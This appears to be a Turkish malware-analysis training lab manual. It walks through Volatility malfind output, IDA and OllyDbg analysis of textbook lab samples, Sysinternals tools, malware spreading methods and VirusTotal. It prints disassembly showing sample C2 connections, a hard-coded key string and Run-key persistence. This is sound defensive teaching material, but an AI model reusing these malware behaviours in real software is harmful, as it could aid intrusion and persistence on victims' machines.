İmza tabanlı taramadan sonuç alınamadığı durumlarda dll veya kod enjeksiyonu yöntemiyle
başka süreçlere dahil edilmiş kodlar malfind eklentisiyle bellekte taranabilir.
“vol -f ~/Desktop/zeus.vmem --profile=WinXPSP2x86 malfind”
………
Process: svchost.exe Pid: 856 Address: 0xb70000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 38, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00b70000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00b70010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00b70020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00b70030 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 ................
0xb70000 4d DEC EBP
0xb70001 5a POP EDX
0xb70002 90 NOP
0xb70003 0003 ADD [EBX], AL
0xb70005 0000 ADD [EAX], AL
0xb70007 000400 ADD [EAX+EAX], AL
0xb7000a 0000 ADD [EAX], AL
0xb7000c ff DB 0xff
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
0xb7000d ff00 INC DWORD [EAX]
0xb7000f 00b800000000 ADD [EAX+0x0], BH
0xb70015 0000 ADD [EAX], AL
0xb70017 004000 ADD [EAX+0x0], AL
0xb7001a 0000 ADD [EAX], AL
0xb7001c 0000 ADD [EAX], AL
……..
0xb7003a 0000 ADD [EAX], AL
0xb7003c d000 ROL BYTE [EAX], 0x1
0xb7003e 0000 ADD [EAX], AL
Process: svchost.exe Pid: 856 Address: 0xcb0000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 1, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00cb0000 b8 35 00 00 00 e9 cd d7 c5 7b 00 00 00 00 00 00 .5.......{......
0x00cb0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00cb0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00cb0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xcb0000 b835000000 MOV EAX, 0x35
0xcb0005 e9cdd7c57b JMP 0x7c90d7d7
0xcb000a 0000 ADD [EAX], AL
……..
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Malware Analiz Araçları ve Temel Kullanımları
Debugger ve Disassembler Kavramları
Disassembler, native kod denilen CPU’nun anlayacağı komutlara çevrilerek derlenme işlemi
yapılmış (veya assemblerdan geçirilerek) programların tekrar assembly koduna dönüştürülme
işlemini yapan uygulamadır. Örneğin işlemcinin anlayacağı “EB eax” opcodunu daha anlaşılır
olan “JMP short eax”assemblykoduna dönüştürerek tersine mühendislik işlemini kolaylaştırır.
Debugger ise bir süreci çalışma anında takip etmeye ve yönlendirmeye yarayan programdır.
Debuggerlar sayesinde süreç, belli bir noktada durdurulup devam ettirilebilir, bellekteki
etkileri gözlenebilir, çalışması değiştirilip yönlendirilebilir.
Debuggerlar ve disassemblerlar dinamik ve statik analiz aşamalarının temel araçlarıdır. Native
kod analizinde en sık kullanılan debuggerlar Windbg, Ollydbg, Immunity Debugger;
disassembler ise IDA (Pro veya Community) ’dur.
Uygulama No: BGA-MA-?
Uygulama Adı: Temel Seviye Disassembler Kullanımı
Amaç: Temel seviyede statik analiz yöntemleri kullanarak zararlı yazılımı analiz etmek.
Lab senaryosu: Komuta merkezi görevi gören bir web sayfasına bağlanıp komut okuyan zararlı
yazılımın işleyişi disassembler kullanılarak analiz edilir.
Kullanılan Araçlar:
● IDA Pro 6
● Lab06-01.exe (Practical Malware Analysis)
Adımlar:
1. Adım:
IDA çalıştırıldığında gözüken “Quick Start” penceresinden New butonuna basılarak analiz
edilecek dosya(Lab06-01.exe) seçilir. Uygun dosya formatı(bu durumda PE) seçilip
onaylandıktan sonra IDA’nın ana ekranı açılacaktır. Sol taraftaki Functions bölümünde
uygulamanın kullandığı fonksiyonlar, orta bölümdeki sekmelerden ise IDA-View’de graph
görünümü, Hex-View de hex görünümü, Structures’da tanımlı veri yapıları, Enums bölümünde
tanımlı Enum tipler, Imports’da kullandığı harici fonksiyonlar, Exports’da ise dışarıdan
çağırılabilir fonksiyonlar görüntülenir. Ayrıca IDA-View ekranında boşluk(space) tuşuna
basılarak text görünümüne geçilip assembly kodları detaylı yorumlar ve virtual adressleri ile
görüntülenebilir.
2. Adım:
Kodu analiz etmeye başlamadan önce Imports sekmesinden zararlının hangi sistem
fonksiyonlarını kullandığına bakmak faydalı olabilir. Örnek zararlıda dosya işlemleri, registery
işlemleri yapan ve HTTP bağlantısı kuran dolayısıyla önem arz aden fonksiyonlar şu şekildedir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Zararlının amacına göre bu fonksiyonlar benzerlik gösterebileceği gibi çok farklı da olabilir.
Address Ordinal Name Library
------- ------- ---- -------
00406000 RegSetValueExA ADVAPI32
00406004 RegOpenKeyExA ADVAPI32
0040600C CreateDirectoryA KERNEL32
……...
004060CC InternetOpenUrlA WININET
004060D0 InternetCloseHandle WININET
004060D4 InternetReadFile WININET
004060D8 InternetGetConnectedState WININET
004060DC InternetOpenA WININET
3. Adım:
Eğer uygulama hakkında hangi fonksiyonlara yoğunlaşılacağı gibi bir ön bilgi yoksa ilk çalışacak
fonksiyon olan main fonksiyonu seçilerekanalizebaşlanır(windows exeleriiçinmain, dllleriiçin
dllMain). Main fonksiyonu çalıştığında ilk olarak IDA’nın sub_401000 olarak isimlendirdiği
401000 adresindeki fonksiyonu çağırdığı görülmektedir.
push ebp
mov ebp, esp
sub esp, 8
call sub_401000
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
Fonksiyona çift tıklanarak veya G tuşuna basılıp adresi girilerek ilgili kod bloğuna ulaşılır.
IDA’nın koda eklediği yorumlara bakılarak fonksiyonun InternetGetConnectedState adlı
winAPI fonksiyonunu iki parametreyi de 0 vererek çağırdığı görülmektedir.
push 0 ; dwReserved
push 0 ; lpdwFlags
call ds:InternetGetConnectedState
Analiz sırasında karşılaşılan winAPI fonksiyonlarıyla ilgili detaylı bilgiye
http://msdn.microsoft.com adresinden ulaşılabilir. Fonksiyondan dönen değeri true ya da
false olmasına göre kodun gidişatının nasıl olacağı IDA graph görünümünde açıkça
görülmektedir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Ekranda da görüldüğü üzere internet bağlantısının mevcut olup olmadığını söyleyen bir string
parametresi ile sub_401271 fonksiyonunu çağırıp fonksiyondan çıkmaktadır. Örnekteki
sub_401271 fonksiyonu tahmin edildiği gibi C’nin printf fonksiyonudur. Analizi kolaylaştırması
açısından bu fonksiyon sağ tuş -> Rename yolu izlenerek “printf” olarak adlandırılabilir.
Böylece IDA genelinde fonksiyonun yeni ismi kullanılır.
4. Adım:
ESC tuşu ile bir önceki ekrana(yani main fonksiyonuna) dönülür. Yine assembly kodu okunarak
veya graph izlenerek 3. adımda analiz edilen fonksiyondan true dönmüşse sub_401040
fonksiyonun çağırıldığı görülür. Bu fonksiyon, InternetOpen ve InternetOpenURL winAPI
fonksiyonlarını kullanarak “http://www.practicalmalwareanalysis.com/cc.htm” adresine
bağlanmaktadır.
push 0 ; dwFlags
push 0 ; lpszProxyBypass
push 0 ; lpszProxy
push 0 ; dwAccessType
push offset szAgent ; "Internet Explorer 7.5/pma"
call ds:InternetOpenA
mov [ebp+hInternet], eax
push 0 ; dwContext
push 0 ; dwFlags
push 0 ; dwHeadersLength
push 0 ; lpszHeaders
push offset szUrl ; "http://www.practicalmalwareanalysis.com"...
mov eax, [ebp+hInternet]
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
push eax ; hInternet
call ds:InternetOpenUrlA
Adres ve user-agent gibi detaylar network tarafında kullanılacak imza için iyi seçimler olabilir.
Fonksiyonun devamında ise açılan dosyanın içerği okunup bir buffera yazılmakta geriye de
bufferın adresi döndürülmektedir. Main fonksiyonunda ise dönen değer NULL değilse okunup
parse edilen komutun ekrana yazıldığı görülmektedir.
call sub_401040
mov [ebp+var_8], al
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_40123C
…
push offset aSuccessParsedC ; "Success: Parsed command is %cn"
call printf
Yine main’in devamında çağırılan sub_401130 fonksiyonu benzer şekilde analiz edildiğinde
yaptığı Registery işlemleri görülebilir. Son olarak zararlının sonlanmadan önce ex 0x0EA60
ondalık 60000 ms uyuduğu görülebilir.
add esp, 8
push 0EA60h ; dwMilliseconds
call ds:Sleep
xor eax, eax
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Uygulama No: BGA-MA-?
Uygulama Adı: Temel Seviye Debugger Kullanımı
Amaç: Temel seviyede dinamik analiz yöntemleri kullanarak zararlı yazılımı analiz etmek.
Lab senaryosu: Çalışmadan önce dosya adını kontrol eden, bağlantı kuracağı adresi çalışma
anında dinamik olarak oluşturan bir zararlı debugger kullanılarak analiz edilir.
Kullanılan Araçlar:
● OllyDbg 2
● Lab09-02.exe (Practical Malware Analysis)
Adımlar:
OllyDbg kullanarak zararlıyı çalışma anında analiz etmeniz mümkündür. Dikkat edilmesi
gereken nokta, statik analizin aksine zararlının gerçekten çalıştırılacak olmasıdır. Bu yüzden
analizin uygun lab ortamında yapılması tavsiye edilir.
1. Adım:
Analiz edilecek zararlı(Lab09-02.exe) OllyDbg ile açılır. Yoğunlaşılması gereken kod blokları
hakkında bir önbilgiyoksa incelemeye main fonksiyonundan başlanabilir. Main fonksiyonunun
üzerine(örnekte call 00401128) tıklanıp F2 tuşuna basılarak breakpoint(software) konulur ve
F9 ile zararlı çalıştırılır. Bu sayede breakpointe ulaşıldığında kontrol tekrar debuggera geçer,
böylece kalınan noktatan detaylı analize devam edilebilir.
CPU Disasm
Address Hex dump Command Comments
00401619 |. 50 PUSH EAX ; /Arg3 = ASCII "p
A"
0040161A |. FF35 DC524000 PUSH DWORD PTR DS:[4052DC] ; |Arg2 = 410B30
00401620 |. FF35 D8524000 PUSH DWORD PTR DS:[4052D8] ; |Arg1 = 1
00401626 |. E8 FDFAFFFF CALL 00401128 ; Lab09-02.00401128
0040162B |. 83C4 0C ADD ESP,0C
0040162E |. 8945 E4 MOV DWORD PTR SS:[EBP-1C],EAX
00401631 |. 50 PUSH EAX
2. Adım:
Programı satır satır çalıştırmak için F7 ve F8 kısayolları kullanılabilir. F7 ile F8’in farkı ilki call
komutlarının içine girerken ikincisi tamamını çalıştırıp devam etmektedir. Main fonksiyonuna
F7 ile girilir. Fonksiyon stackte 0x304 byte(OllyDbg’da gösterilen sayısal değerler 16’lık
sistemdedir.) yer ayırıyor ve bu alana sabit değerleri yerleştiriyor. Bu tarz yöntemler basit
statik analizyöntemleriyle programda kullanılanstringlerin görülmesini engellemek için zararlı
yazılımlar tarafından sıklıkla kullanılır.
CPU Disasm
Address Hex dump Command Comments
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
0040112B |. 81EC 04030000 SUB ESP,304
00401131 |. 56 PUSH ESI
00401132 |. 57 PUSH EDI
00401133 |. C685 50FEFFFF MOV BYTE PTR SS:[LOCAL.108],31
0040113A |. C685 51FEFFFF MOV BYTE PTR SS:[LOCAL.108+1],71
…...
004011BF |. C685 67FEFFFF MOV BYTE PTR SS:[LOCAL.103+3],0
004011C6 |. B9 08000000 MOV ECX,8
Sabitleri belleğe yazma işlemi sonuna kadar çalıştırılıp veya F8 ile adım adım ilerlenip OllyDbg
ekranın sağ alt tarafındaki Stack penceresinden ilgili adrese yazılan değer ASCII haliyle de
görülebilir. Debugger kullanmanın disassembler’a göre avantajlı olduğu durumlardan birisi
budur.
Stacke yazılan değerin “1qaz2wsx3edc” olduğu görülmektedir. Klavyede bu tuşların dizilişi
dikkate alındığında bir yere not etmekte fayda var.
3. Adım:
Main fonksiyonunun devamında GetModuleFileName winapi fonksiyonu çağırılmaktadır.
MSDN’den incelendiğinde bu fonksiyon örnekte olduğu gibihModule parametresi NULL olarak
çağırıldığında sürecin kendi dizin yolunu yine parametre ile geçirilen buffera yazmaktadır.
CPU Disasm
Address Hex dump Command Comments
004011FA |. 68 0E010000 PUSH 10E ; /Count = 270.
004011FF |. 8D85 00FDFFFF LEA EAX,[LOCAL.192] ; |
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
00401205 |. 50 PUSH EAX ; |Buffer => OFFSET LOCAL.192
00401206 |. 6A 00 PUSH 0 ; |hModule = NULL
00401208 |. FF15 0C404000 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF ;
KERNEL32.GetModuleFileNameA
Fonksiyon çağırıldıktan hemen sonra bufferın adresi OllyDbg’ın stack veya memory
bölümünde incelendiğinde Lab09-02.exe’nin tam yolu görülebilir. Bir call’da yine aynı değeri
paremetre olarak alan bir fonkisyon çağırılmaktadır. Fonksiyon incelendiğinde dizin yolundan
geriye sadece dosya adını bırakıp geri döndürdüğü görülür. Devamında çağırılan 0x004014C0
adresindeki fonksiyon iseçalışandosyanın adının "ocl.exe” ilekarşılaştırıp eğer öyleyse 0 yoksa
farklı bir değer döndüren, büyük ihtimalle strcmp veya türevi bir fonksiyondur.
CPU Disasm
Address Hex dump Command Comments
0040122B |. 8B45 FC MOV EAX,DWORD PTR SS:[LOCAL.1] ; ASCII "Lab09-
02.exe"
0040122E |. 50 PUSH EAX ; /Arg2 => [LOCAL.1]
0040122F |. 8D8D 60FEFFFF LEA ECX,[LOCAL.104] ; |
00401235 |. 51 PUSH ECX ; |Arg1 => OFFSET LOCAL.104
00401236 |. E8 85020000 CALL 004014C0 ; Lab09-02.004014C0
0040123B |. 83C4 08 ADD ESP,8
Bu fonksiyonun hemen devamında dönen değer 0 mi (yani dosya adı ocl.exe mi) diye kontrol
edilip süreç sonlanıyor veya ağ aktiviteleri olan (WS2_ fonksiyonları) kod bloğundan devam
ediyor.
CPU Disasm
Address Hex dump Command Comments
0040123B |. 83C4 08 ADD ESP,8
0040123E |. 85C0 TEST EAX,EAX Dönen değer 0 mı?
00401240 |. 74 0A JZ SHORT 0040124C 0 ise dallanma yap
00401242 |. B8 01000000 MOV EAX,1
00401247 |. E9 8A010000 JMP 004013D6 main’in sonuna dallan
0040124C |> BA 01000000 /MOV EDX,1
4. Adım:
Bu aşamada dosya adını ocl.exe olarak değiştirmek gibi bir seçenek olsa da debugger
kullanmanın avantajlarından yararlanıp 0x00401240 adresindeki JZ dallanma komutunu
çalıştırmadan OllyDbg’ın sağ üst taraftaki Registers bölümünden Zero flag’ına çift tıklayarak
değeri 1 yapılır. Bubir önceki işlemin(test eax,eax)sonucunun 0 olduğu anlamına gelir,böylece
JZ (jump if zero) dallanmayı seçecektir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Bağlantı için soket oluşturma gibi hazırlık işlemlerinin ardından analizin başında karşılaşılan
“1qaz2wsx3edc” değerini parametre olarak alan bir fonksiyon çağırılmaktadır.
CPU Disasm
Address Hex dump Command Comments
004012B5 |. 51 |PUSH ECX ; /Arg2 = 20
004012B6 |. 8D95 50FEFFFF |LEA EDX,[LOCAL.108] ; |
004012BC |. 52 |PUSH EDX ; |Arg1 => OFFSET LOCAL.108
004012BD |. E8 C7FDFFFF |CALL 00401089 ; Lab09-02.00401089
004012C2 |. 83C4 08 |ADD ESP,8
004012C5 |. 8945 F8 |MOV DWORD PTR SS:[LOCAL.2],EAX
004012C8 |. 8B45 F8 |MOV EAX,DWORD PTR SS:[LOCAL.2]
004012CB |. 50 |PUSH EAX ; /Arg1 => [LOCAL.2]
004012CC |. FF15 A4404000 |CALL DWORD PTR DS:[<&WS2_32.#52>] ;
WS2_32.gethostbyname
004012D2 |. 8985 44FEFFFF |MOV DWORD PTR SS:[LOCAL.111],EAX
004012D8 |. 83BD 44FEFFFF |CMP DWORD PTR SS:[LOCAL.111],0
Fonksiyon detaylı incelenmeden çalıştırıldığında EAX ile dönen adresteki değere bakıldığında
bağlantı kuracağı adresi(www.practicalmalwareanalysis.com) dinamik olarak oluşturduğu
görülür. Hemen sonra bu değeri gethostbyname winapi fonksiyonunda kullanarak IP
çözümlemesi yaptığıanaşılmaktadır. Amaç host ve network tabanlı imzaları çıkarmak iseanaliz
bu noktada kesilebilir ya da analize devam edilip zararlının ağ aktiviteleri detaylıca
incelenebilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Malware Keşfinde Microsoft Sysinternals Araçları
Uygulama No: BGA-MA-?
Uygulama Adı: Process Explorer Kullanımı
Amaç: Process Explorer aracını kullanarak sistemde çalışan süreçler hakkında bilgi toplamak.
Lab senaryosu: Sistemde çalışan şüpheli bir süreç hakkında yüklediği dll dosyalar, kullandığı
handlelar, içerdiği stringler, cpu kullanımı, network aktivitesi, onu başlatan ve kendi başlattığı
süreçler gibi bilgileri toplamak.
Kullanılan Araçlar:
● Sysinternals Process Explorer v15
● Lab03-01.exe
Adımlar:
1. Adım:
Process explorer yönetici haklarıyla çalıştırılır. Sistemde o an çalışan süreçler, birbirleriyle
ilişkilerini(parent-child) gösteren bir ağaç yapısında listelenir. Orta bölümde CPU, PID vb
bilgilerin bulunduğu tabloda sütün isimlerinden herhangi birinin üstüne sağ tıklayıp “select
columns” diyerek yeni bilgiler eklenebilir. Genelde “user name” sütununu eklemek
beklenmeyen kullanıcı haklarıyla çalışan süreçleri tespit etmek açısından faydalı olacaktır.
2. Adım:
Analiz edilecek sürecin üzerine tıklanır ve Ctrl+D kısayolu ile sürecin belleğe yüklediği dlllerin
listesi görülür. Buna göre yaptığı aktiviteler hakkında gelen fikir edinilebilir. Örneğin
ws2_32.dll network aktivitesini işaret eder(tabi doğrulanması gerekir). Ctrl+H kısayolu ile
sürecin sahip olduğu handller listelenebilir ve Ctrl+L ile eski görünüme dönülür.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Adım:
Sürece “sağ tık -> Properties” seçeneğinden süreçler ilgili detaylar elde edilebilir. TCP/IP
sekmesinden bağlantı varsa kurduğu adresler görülebilir. Strings sekmesinden içerdiği(statik
olarak) stringler listelenir. Örnek dosyasının içerdiği dikkate değer stringler şu şekildedir.
…...
!This program cannot be run in DOS mode.
….
CONNECT %s:%i HTTP/1.0 HTTP başlığı
…...
StubPath
SOFTWAREClasseshttpshellopencommandV !
SoftwareMicrosoftActive SetupInstalled Components
test
www.practicalmalwareanalysis.com URL
admin !
VideoDriver !
WinVMX32- !
vmx32to64.exe !
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
SOFTWAREMicrosoftWindowsCurrentVersionRun Başlangıçta Çalıştır
SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders
..
Stringler okunabildiklerinde zararlının aktiviteleri hakkında oldukça fazla fikir verebilir.
4. Adım:
Process Explorer’ın çok kullanışlı bir başka özelliği de “Verify” özelliğidir. Properties
penceresindeki Image sekmesinden verify butonuna basılarak bir Windows sürecinin
(sisteme ait) orijinalliği doğrulanabilir. Bu sayede windows süreçlri modifikasyon ihtimaline
karşı kontrol edilebilir.
Uygulama No: BGA-MA-?
Uygulama Adı: Process Monitor Kullanımı
Amaç: Process Monitor aracını kullanarak belli eylemleri gerçekleştiren süreçleri veya belli
bir sürecin eylemlerini tespit etmek.
Lab senaryosu: Örnek zararlı yazılımın kayıt defteri ve dosya işlemleri Process Monitor
gözlenerek sistemde kalıcılığını nasıl sağladığıtespit edilir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Kullanılan Araçlar:
● Sysinternals Process Monitor v2.94
● Lab03-01.exe
Adımlar:
1. Adım:
Process monitor yönetici haklarıyla çalıştırlır. Çalışır çalışmaz sistemdeki neredeyse tüm
olayları loglamaya başlar. Bu loglar daha sonra filitreleme yöntemiyle analiz edilebilir. Belli
bir dosyanın eylemlerini incelemek için Ctrl+X kısayoluyla daha önceki loglar silinir. Analiz
edilecek zararlı çalıştırılır ve kısa bir süre sonra Ctrl+E kısayoluyla loglama işlemi durdurulur.
Bu süre içinde sistemde gerçekleşen eylemler liste halinde görülebilir ancak yine de tek tek
incelemek için çok fazla kayıt olacaktır.
2. Adım:
Ctrl+L tuş kombinasyonu ile Filtering penceresi açılır. Bu menüden çok çeşitli filtreler
oluşturmak mümkündür. Başlangıç olarak belli bir sürecin eylemlerini listelemek için
“Process Name is Lab03-01.exe” diye bir filtre oluşturulur. Apply butonu ile loglara bu filtre
uygulanarak sadece Lab03-01.exe sürecinin eylemleri görüntülenir. Burada birçok dosya ve
kayıt defteri işlemi görülmektedir. Zamandan kazanmak için hedefi daha da daraltıp
“Operation is RegSetValue” ve “Operation is CreateFile” olarak özellikle iki winAPI
fonksiyonunun kullanımını gösterecek filtreler eklenir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
3. Adım:
Filtreleme sonucunda kalan olaylardan zararlının sistemde oluşturduğu dosyalar ve kayıt
defterine eklediği kayıtlar görüntülenebilir. Örneğin zararlının kendisini önce
“C:WINDOWSsystem32vmx32to64.exe” dizinine kopyaladığı daha sonra da sistem
başlangıcında çalıştırılması için kayıt defterinde autorun dizinlerinden biri olan
“HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun” dizininin altına “VideoDriver”
adlı bir anahtar ekleyip değer olarak da “C:WINDOWSsystem32vmx32to64.exe” atadığı
görülür.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Malware Yayılma Mekanizmaları
Dosya Paylaşım Yoluyla Malware Yayılması
Zararlı yazılımların yayılma yöntemlerinden en temeli muhtemelen zararlı uygulamanın veya
yükleyicisinin doğrudan kurban tarafından indirilip çalıştırıldığı yöntemdir. Bu yöntemde
saldırgan, kurbanı çeşitli sosyal mühendislik yöntemleriyle bir mail ekini veya bir linkteki
dosyayı indirmeye ikna eder. Crack, keygen gibi warez dosya paylaşımları üzerinden yayılan
zararlıları yine bu kategoride değerlendirmek mümkündür.
Örneğin DarkBot zararlısı ele geçirilmiş skype hesaplarından arkadaş listesine “hehe :) yeni
profil resmin bu mu? <link>” gibi bir mesaj gönderip kurbanı linke tıklayıp, zip dosyasını
indirip, içindekini çalıştıracak kadar meraklandırıyor.
Tarayıcı ve Tarayıcı Eklentilerindeki Zafiyetler Yoluyla Malware Yayılması
Web tarayıcıları ve Flash Player, PDF Reader, Quicktime gibi daha birçok yaygın kullanımı
olan tarayıcı eklentilerinde çok sayıda hedef sistemde komut çalıştırmaya yarayan zafiyetler
bulunmuştur, ve bulunmaya devam etmektedir. Bu zafiyetler kurbanın zararlı sayfaya
bağlanması dışında başka bir etkileşim gerektirmeden bilgisayarına zararlının bulaşmasına
sebep olabilir. Hatta bir çok farklı tarayıcı tabanlı zafiyetlerin istismar kodlarını barındıran
“Exploit Kit(istismar kiti) adı verilen paketler de mevcuttur. Bu istismar kitleri saldırganların
kendilerine ait Porno ve benzeri içerikli web sitelerinde olabileceği gibi ele geçirilen yasal
sitelere de entegre edilip kurbanlara güvenilir bir kanaldan zararlı yazılım bulaştırılabilir.
Network Servisleri ve Autorun Zafiyetleri Yoluyla Malware Yayılması
Zararlı yazılımlar yeni makineleri ele geçirmek için network servislerindeki zafiyetleri veya
USB Autorun gibi yöntemleri kullanabilirler. Örneğin zararlının bir dosya paylaşım
programında bulunan uzaktan komut çalıştırma zafiyetini istismar ederek belli IP aralıklarını
tarayıp bu uygulamanın kullanıldığı makinelere bulaşması oldukça muhtemel bir senaryodur.
Yine USB bellekler aracılığıyla yayılan zararlı yazılımların da sayısı bir hayli fazladır.
Online Malware Analiz Siteleri ve Temel Çalışma Yöntemleri
Analiz edilecek zararlı hakkında hızlı bir genel bilgi edinmek için online sanbox hizmetleri
kullanışlı olabilir. Sandboxlar ile genel olarak zararlı hakkında şu bilgiler edinilebilir.
● Kurmaya çalıştığı ağ bağlantıları
● Eriştiği dosya ve dizinler
● Eriştiği windows kayıt defteri girdileri
● Kullandığı handlelar
● Kullandığı sistemfonksiyonları
● Hafıza alanına yüklediği dll dosyaları
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Malware analiz amaçlı sandbox uygulamalarının genel yapısının sanal bir network ile
birbirine bağlı host ve analiz makinelerinde oluştuğu söylenebilir. Host genel olarak bir analizi
başlatmak, trafiği kaydetmek ve rapor oluşturmaktan sorumludur. Analiz makineleri ise
zararlının üzerinde çalışacağı uygun ortamdır. Zararlı analiz makinesinde gerçekten
çalıştırılarak aktiviteleri, bellek ve dosya sistemindeki etkileri gibi detaylar raporlanmak üzere
hosta gönderilir. Bir host üzerinde birden fazla analiz makinesi çalışabilir.
Virustotal gibi bir çok antivirüs firmasının servislerini kullanarak imza tabanlı tarama yapan
servisler de bilindik zararlıları tanımlamakta kullanılabilir.
http://anubis.iseclab.org adresindeki Anubis sandbox kullanılarak 8mb’ın altındaki dosyalar
analiz edilebilir.
Anubis’e alternatif olarak yerelde bir sandbox kurmak gerekirse açık kaynak bir yazılım olan
Cuckoo sandbox kullanılabilir. Ayrıca Cuckoo https://malwr.com/ adresinden online olarak
kullanılabilir.
Uygulama No: BGA-MA-?
Uygulama Adı: Virustotal Kullanımı
Amaç: Virutotal online hizmetini kullanarak zararlı yazılım hakkında hızlıca bilgi toplamak.
Lab senaryosu: Nugache zararlısı (sha256:
54791f6e4277a231d50eecdf5bfea263131e60b2b9e17b6cf7aa2a2f66478cc1) Virustotal’e
yüklenerek hakkındaki özet bilgiler incelenir.
Kullanılan Araçlar:
● https://www.virustotal.com
Adımlar:
1. Adım:
Virustotal anasayfasındaki “Dosyayı Seç” butonu kullanılarak zararlı dosya sisteme yüklenir.
Eğer aynı dosya (aynı hash değerine sahip) daha önceden analiz edildiyse sistemtarafından
eski analize mi bakılacağı yoksa tekrar analiz mi edileceği sorulur. Duruma göre uygun seçim
yapıldıktan sonra “Analizler, Dosya Detayı, Ek Bilgi, Yorumlar, Oylar, Davranışsal Bilgiler”
sekmelerini içeren bir sayfa ile karşılaşılır. Analizler tabında yaklaşık 50 adet farklı antivirüs
kullanılarak yapılan taramanın sonuçları listelenir.
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Antivirus Sonuç Güncelle
AVG IRC/BackDoor.Nugache.A 20140124
Ad-Aware MemScan:Win32.Worm.Nugache.N 20140124
Agnitum I-Worm.Nugache.A!Pac 20140124
AhnLab-V3 Worm/Win32.IRCBot 20140124
AntiVir TR/Crypt.XPACK.Gen 20140124
Avast Win32:Nugache [Wrm] 20140124
Baidu-International Worm.Win32.Nugache.ABKz 20140124
BitDefender MemScan:Win32.Worm.Nugache.N 20140124
...
2. Adım:
Dosya detayı sekmesinde zararlının dosya yapısıyla ilgili detaylar bulunabilir. Örnekte
zararlının PE formatından
● Derlenme zamanı: 2006-03-23 20:07:28
● Hedef mimari: Intel 386 or later processors and compatible processors
● PE Sectionları ve detayları: .text, .rdata, .data
● Kullanıma hazırladığı sistemfonksiyonları: VirtualProtect, LoadLibraryA,
GetProcAddress
gibi temel bilgiler elde edilmiştir. Ayrıca zararlı dosya üzerinde Exif aracılı çalıştırılarak elde
edilen metadata bilgileri de gösterilmektedir.
3. Adım:
Davranışsal bilgiler sekmesi zararlının sandboxta çalıştırıldığında gösterdiği davranışları
raporlayan bölümdür. Eğer zararlının anti-sandbox özelliği yoksa veya başarılı olamamışsa bu
bölüm zararlı hakkında önemli bilgiler sağlayabilir. Genel olarak Virustotal’in kullandığı veya
diğer online servislerin kullandığı sandboxlardan şu bilgiler elde edilebilir.
● Açtığı dosyalar, pipelar vb.
● Okuduğu dosyalar
● Kopyaladığı dosyalar
● Eklenen, değiştirilen, silinen kayıtdefteri anahtarları
● Oluşturulan veya açılan süreçler, mutexler
● Çalışma anında yüklediği dll dosyaları
● Yaptığı DNS sorguları
● Bağlandığı IP adresleri
4. Adım:
[ZARARLI YAZILIM ANALİZİ EĞİTİMİ LAB ÇALIŞMALARI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
